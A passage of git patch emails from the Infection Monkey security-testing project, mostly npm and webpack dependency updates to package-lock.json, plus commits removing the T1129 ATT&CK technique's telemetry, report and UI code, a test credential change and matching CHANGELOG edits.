"^2.0.0", - "set-blocking": "^2.0.0", - "string-width": "^3.0.0", - "which-module": "^2.0.0", - "y18n": "^4.0.0", - "yargs-parser": "^15.0.1" - }, - "dependencies": { - "ansi-regex": { - "version": "4.1.0", - "bundled": true, - "dev": true - }, - "find-up": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "is-fullwidth-code-point": { - "version": "2.0.0", - "bundled": true, - "dev": true - }, - "locate-path": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "p-limit": { - "version": "2.3.0", - "bundled": true, - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "p-limit": "^2.0.0" - } - }, - "p-try": { - "version": "2.2.0", - "bundled": true, - "dev": true - }, - "string-width": { - "version": "3.1.0", - "bundled": true, - "dev": true, - "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" - } - }, - "strip-ansi": { - "version": "5.2.0", - "bundled": true, - "dev": true, - "requires": { - "ansi-regex": "^4.1.0" - } - } - } - }, - "yargs-parser": { - "version": "15.0.1", - "bundled": true, - "dev": true, - "requires": { - "camelcase": "^5.0.0", - "decamelize": "^1.2.0" - }, - "dependencies": { - "camelcase": { - "version": "5.3.1", - "bundled": true, - "dev": true - } - } } } }, diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index e33553a61..69a2164f2 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -51,7 +51,7 @@ "html-webpack-plugin": "^3.2.0", "minimist": "^1.2.5", "node-sass": "^4.14.1", - "npm": "^6.14.8", + "npm": "^7.24.0", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", From b69916428b73bb653f17db6d737db7ef109a300d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 17 Sep 2021 12:24:05 +0300 Subject: [PATCH 170/454] Remove T1129 attack technique from the codebase --- docs/content/reference/mitre_techniques.md | 1 - .../island_client/monkey_island_requests.py | 4 +-- .../telemetry/attack/t1129_telem.py | 11 ------- .../cc/services/attack/attack_report.py | 2 -- .../cc/services/attack/attack_schema.py | 12 -------- .../attack/technique_reports/T1129.py | 16 ---------- .../src/components/attack/techniques/T1129.js | 30 ------------------- .../telemetry/attack/test_t1129_telem.py | 22 -------------- 8 files changed, 2 insertions(+), 96 deletions(-) delete mode 100644 monkey/infection_monkey/telemetry/attack/t1129_telem.py delete mode 100644 monkey/monkey_island/cc/services/attack/technique_reports/T1129.py delete mode 100644 monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js delete mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py diff --git a/docs/content/reference/mitre_techniques.md b/docs/content/reference/mitre_techniques.md index 4ff8beb04..4e7e03c2d 100644 --- a/docs/content/reference/mitre_techniques.md +++ b/docs/content/reference/mitre_techniques.md @@ -18,7 +18,6 @@ In the following table, we list all the MITRE ATT&CK techniques the Infection Mo | TACTIC | TECHNIQUES | |--- |--- | | [Execution](https://attack.mitre.org/tactics/TA0002/) | [Command-line Interface](https://attack.mitre.org/techniques/T1059/) | -| | [Execution Through Module Load](https://attack.mitre.org/techniques/T1129/) | | | [Execution Through API](https://attack.mitre.org/techniques/T1106/) | | | [Powershell](https://attack.mitre.org/techniques/T1086/) | | | [Scripting](https://attack.mitre.org/techniques/T1064/) | diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py index ac6bdceee..f5ac59a1f 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py @@ -7,8 +7,8 @@ import requests from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod -ISLAND_USERNAME = "m0nk3y" -ISLAND_PASSWORD = "Passw0rd!" +ISLAND_USERNAME = "test" +ISLAND_PASSWORD = "test" LOGGER = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/telemetry/attack/t1129_telem.py b/monkey/infection_monkey/telemetry/attack/t1129_telem.py deleted file mode 100644 index 4e7a12ce8..000000000 --- a/monkey/infection_monkey/telemetry/attack/t1129_telem.py +++ /dev/null @@ -1,11 +0,0 @@ -from infection_monkey.telemetry.attack.usage_telem import UsageTelem - - -class T1129Telem(UsageTelem): - def __init__(self, status, usage): - """ - T1129 telemetry. - :param status: ScanStatus of technique - :param usage: Enum of UsageEnum type - """ - super(T1129Telem, self).__init__("T1129", status, usage) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 4242e90e4..3872bf770 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -25,7 +25,6 @@ from monkey_island.cc.services.attack.technique_reports import ( T1106, T1107, T1110, - T1129, T1136, T1145, T1146, @@ -60,7 +59,6 @@ TECHNIQUES = { "T1065": T1065.T1065, "T1105": T1105.T1105, "T1035": T1035.T1035, - "T1129": T1129.T1129, "T1106": T1106.T1106, "T1107": T1107.T1107, "T1188": T1188.T1188, diff --git a/monkey/monkey_island/cc/services/attack/attack_schema.py b/monkey/monkey_island/cc/services/attack/attack_schema.py index c2dda7a09..e11de8d96 100644 --- a/monkey/monkey_island/cc/services/attack/attack_schema.py +++ b/monkey/monkey_island/cc/services/attack/attack_schema.py @@ -17,18 +17,6 @@ SCHEMA = { "systems " "and execute other software during the course of an operation.", }, - "T1129": { - "title": "Execution through module load", - "type": "bool", - "value": True, - "necessary": False, - "link": "https://attack.mitre.org/techniques/T1129", - "description": "The Windows module loader can be instructed to load DLLs from " - "arbitrary " - "local paths and arbitrary Universal Naming Convention (UNC) " - "network paths.", - "depends_on": ["T1078", "T1003"], - }, "T1106": { "title": "Execution through API", "type": "bool", diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py deleted file mode 100644 index 8fce14138..000000000 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py +++ /dev/null @@ -1,16 +0,0 @@ -from monkey_island.cc.services.attack.technique_reports.usage_technique import UsageTechnique - - -class T1129(UsageTechnique): - tech_id = "T1129" - unscanned_msg = ( - "Monkey didn't try to load any DLLs since it didn't run on any Windows machines." - ) - scanned_msg = "Monkey tried to load DLLs, but failed." - used_msg = "Monkey successfully loaded DLLs using Windows module loader." - - @staticmethod - def get_report_data(): - data = T1129.get_tech_base_data() - data.update({"dlls": T1129.get_usage_data()}) - return data diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js deleted file mode 100644 index fdb7c10cb..000000000 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js +++ /dev/null @@ -1,30 +0,0 @@ -import React from 'react'; -import ReactTable from 'react-table'; -import {getUsageColumns} from './Helpers'; -import MitigationsComponent from './MitigationsComponent'; - -class T1129 extends React.Component { - - constructor(props) { - super(props); - } - - render() { - return ( -
    -
    {this.props.data.message_html}
    -
    - {this.props.data.dlls.length !== 0 ? - : ''} - -
    - ); - } -} - -export default T1129; diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py deleted file mode 100644 index 41178a749..000000000 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1129_telem.py +++ /dev/null @@ -1,22 +0,0 @@ -import json - -import pytest - -from common.utils.attack_utils import ScanStatus, UsageEnum -from infection_monkey.telemetry.attack.t1129_telem import T1129Telem - -STATUS = ScanStatus.USED -USAGE = UsageEnum.SMB - - -@pytest.fixture -def T1129_telem_test_instance(): - return T1129Telem(STATUS, USAGE) - - -def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): - T1129_telem_test_instance.send() - expected_data = {"status": STATUS.value, "technique": "T1129", "usage": USAGE.name} - expected_data = json.dumps(expected_data, cls=T1129_telem_test_instance.json_encoder) - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "attack" From 5a8507e5c61da3c8e71ae2871800a2b90eeeefdc Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 17 Sep 2021 14:21:06 +0300 Subject: [PATCH 171/454] Add the removal of "Execution through the module load" T1129 attack technique to the CHANGELOG.md --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f7c74d781..f0bbb871f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -25,6 +25,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). packages and WMI info. #1389 - Insecure access feature in the Monkey Island. #1418 - The "deployment" field from the server_config.json #1205 +- The "Execution through module load" ATT&CK technique, + since it can no longer be exercise with current conde #1416 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration From 9d07f82bd6f645aea288dcb55c70f29d1d897c64 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 17 Sep 2021 07:46:27 -0400 Subject: [PATCH 172/454] Fix typo in CHANGELOG --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f0bbb871f..2e603c37f 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,7 +26,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Insecure access feature in the Monkey Island. #1418 - The "deployment" field from the server_config.json #1205 - The "Execution through module load" ATT&CK technique, - since it can no longer be exercise with current conde #1416 + since it can no longer be exercise with current code #1416 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration From f942e87b7528c6812bb2d6e8773c6b2b256418aa Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 17 Sep 2021 14:02:33 +0200 Subject: [PATCH 173/454] UI: Update npm webpack Note: webpack doesn't have verbose option anymore --- monkey/monkey_island/cc/ui/package-lock.json | 3704 ++++++++---------- monkey/monkey_island/cc/ui/package.json | 10 +- 2 files changed, 1628 insertions(+), 2086 deletions(-) diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index deaf0160f..ebdac2720 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -2652,6 +2652,12 @@ "to-fast-properties": "^2.0.0" } }, + "@discoveryjs/json-ext": { + "version": "0.5.5", + "resolved": "https://registry.npmjs.org/@discoveryjs/json-ext/-/json-ext-0.5.5.tgz", + "integrity": "sha512-6nFkfkmSeV/rqSaS4oWHgmpnYw194f6hmWF5is6b0J1naJZoiD0NTc9AiUwPHvWsowkjuHErCZT1wa0jg+BLIA==", + "dev": true + }, "@egjs/hammerjs": { "version": "2.0.17", "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", @@ -2942,23 +2948,32 @@ "integrity": "sha512-rr+OQyAjxze7GgWrSaJwydHStIhHq2lvY3BOC2Mj7KnzI7XK0Uw1TOOdI9lDoajEbSWLiYgoo4f1R51erQfhPQ==", "dev": true }, - "@types/events": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz", - "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==", - "dev": true - }, - "@types/glob": { - "version": "7.1.1", - "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz", - "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==", + "@types/eslint": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.28.0.tgz", + "integrity": "sha512-07XlgzX0YJUn4iG1ocY4IX9DzKSmMGUs6ESKlxWhZRaa0fatIWaHWUVapcuGa8r5HFnTqzj+4OCjd5f7EZ/i/A==", "dev": true, "requires": { - "@types/events": "*", - "@types/minimatch": "*", - "@types/node": "*" + "@types/estree": "*", + "@types/json-schema": "*" } }, + "@types/eslint-scope": { + "version": "3.7.1", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.1.tgz", + "integrity": "sha512-SCFeogqiptms4Fg29WpOTk5nHIzfpKCemSN63ksBQYKTcXoJEmJagV+DhVmbapZzY4/5YaOV1nZwrsU79fFm1g==", + "dev": true, + "requires": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "@types/estree": { + "version": "0.0.50", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.50.tgz", + "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==", + "dev": true + }, "@types/hammerjs": { "version": "2.0.36", "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", @@ -2969,6 +2984,21 @@ "resolved": "https://registry.npmjs.org/@types/history/-/history-4.7.9.tgz", "integrity": "sha512-MUc6zSmU3tEVnkQ78q0peeEjKWPUADMlC/t++2bI8WnAG2tvYRPIgHG8lWkXwqc8MsUF6Z2MOf+Mh5sazOmhiQ==" }, + "@types/html-minifier-terser": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/@types/html-minifier-terser/-/html-minifier-terser-5.1.2.tgz", + "integrity": "sha512-h4lTMgMJctJybDp8CQrxTUiiYmedihHWkjnF/8Pxseu2S6Nlfcy8kwboQ8yejh456rP2yWoEVm1sS/FVsfM48w==", + "dev": true + }, + "@types/http-proxy": { + "version": "1.17.7", + "resolved": "https://registry.npmjs.org/@types/http-proxy/-/http-proxy-1.17.7.tgz", + "integrity": "sha512-9hdj6iXH64tHSLTY+Vt2eYOGzSogC+JQ2H7bdPWkuh7KXP5qLllWx++t+K9Wk556c3dkDdPws/SpMRi0sdCT1w==", + "dev": true, + "requires": { + "@types/node": "*" + } + }, "@types/invariant": { "version": "2.2.34", "resolved": "https://registry.npmjs.org/@types/invariant/-/invariant-2.2.34.tgz", @@ -3022,12 +3052,6 @@ "@types/unist": "*" } }, - "@types/minimatch": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz", - "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==", - "dev": true - }, "@types/minimist": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.1.tgz", @@ -3117,6 +3141,12 @@ "@types/react": "*" } }, + "@types/retry": { + "version": "0.12.1", + "resolved": "https://registry.npmjs.org/@types/retry/-/retry-0.12.1.tgz", + "integrity": "sha512-xoDlM2S4ortawSWORYqsdU+2rxdh4LRW9ytc3zmT37RIKQh6IHyKwwtKhKis9ah8ol07DCkZxPt8BBvPjC6v4g==", + "dev": true + }, "@types/scheduler": { "version": "0.16.1", "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.1.tgz", @@ -3149,180 +3179,172 @@ "dev": true }, "@webassemblyjs/ast": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", - "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", + "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", "dev": true, "requires": { - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0" + "@webassemblyjs/helper-numbers": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1" } }, "@webassemblyjs/floating-point-hex-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz", - "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", + "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==", "dev": true }, "@webassemblyjs/helper-api-error": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz", - "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", + "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==", "dev": true }, "@webassemblyjs/helper-buffer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz", - "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", + "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==", "dev": true }, - "@webassemblyjs/helper-code-frame": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz", - "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==", + "@webassemblyjs/helper-numbers": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", + "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", "dev": true, "requires": { - "@webassemblyjs/wast-printer": "1.9.0" - } - }, - "@webassemblyjs/helper-fsm": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz", - "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==", - "dev": true - }, - "@webassemblyjs/helper-module-context": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz", - "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0" + "@webassemblyjs/floating-point-hex-parser": "1.11.1", + "@webassemblyjs/helper-api-error": "1.11.1", + "@xtuc/long": "4.2.2" } }, "@webassemblyjs/helper-wasm-bytecode": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz", - "integrity": "sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", + "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==", "dev": true }, "@webassemblyjs/helper-wasm-section": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz", - "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", + "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0" + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1" } }, "@webassemblyjs/ieee754": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz", - "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", + "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", "dev": true, "requires": { "@xtuc/ieee754": "^1.2.0" } }, "@webassemblyjs/leb128": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz", - "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", + "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", "dev": true, "requires": { "@xtuc/long": "4.2.2" } }, "@webassemblyjs/utf8": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz", - "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", + "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==", "dev": true }, "@webassemblyjs/wasm-edit": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz", - "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", + "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/helper-wasm-section": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-opt": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "@webassemblyjs/wast-printer": "1.9.0" + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/helper-wasm-section": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-opt": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1", + "@webassemblyjs/wast-printer": "1.11.1" } }, "@webassemblyjs/wasm-gen": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz", - "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", + "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-wasm-bytecode": "1.11.1", + "@webassemblyjs/ieee754": "1.11.1", + "@webassemblyjs/leb128": "1.11.1", + "@webassemblyjs/utf8": "1.11.1" } }, "@webassemblyjs/wasm-opt": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz", - "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", + "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0" + "@webassemblyjs/ast": "1.11.1", + "@webassemblyjs/helper-buffer": "1.11.1", + "@webassemblyjs/wasm-gen": "1.11.1", + "@webassemblyjs/wasm-parser": "1.11.1" } }, "@webassemblyjs/wasm-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz", - "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==", + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", + "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", "dev": true, "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" - } - }, - "@webassemblyjs/wast-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz", - "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/floating-point-hex-parser": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-code-frame": "1.9.0", - "@webassemblyjs/helper-fsm": "1.9.0", - 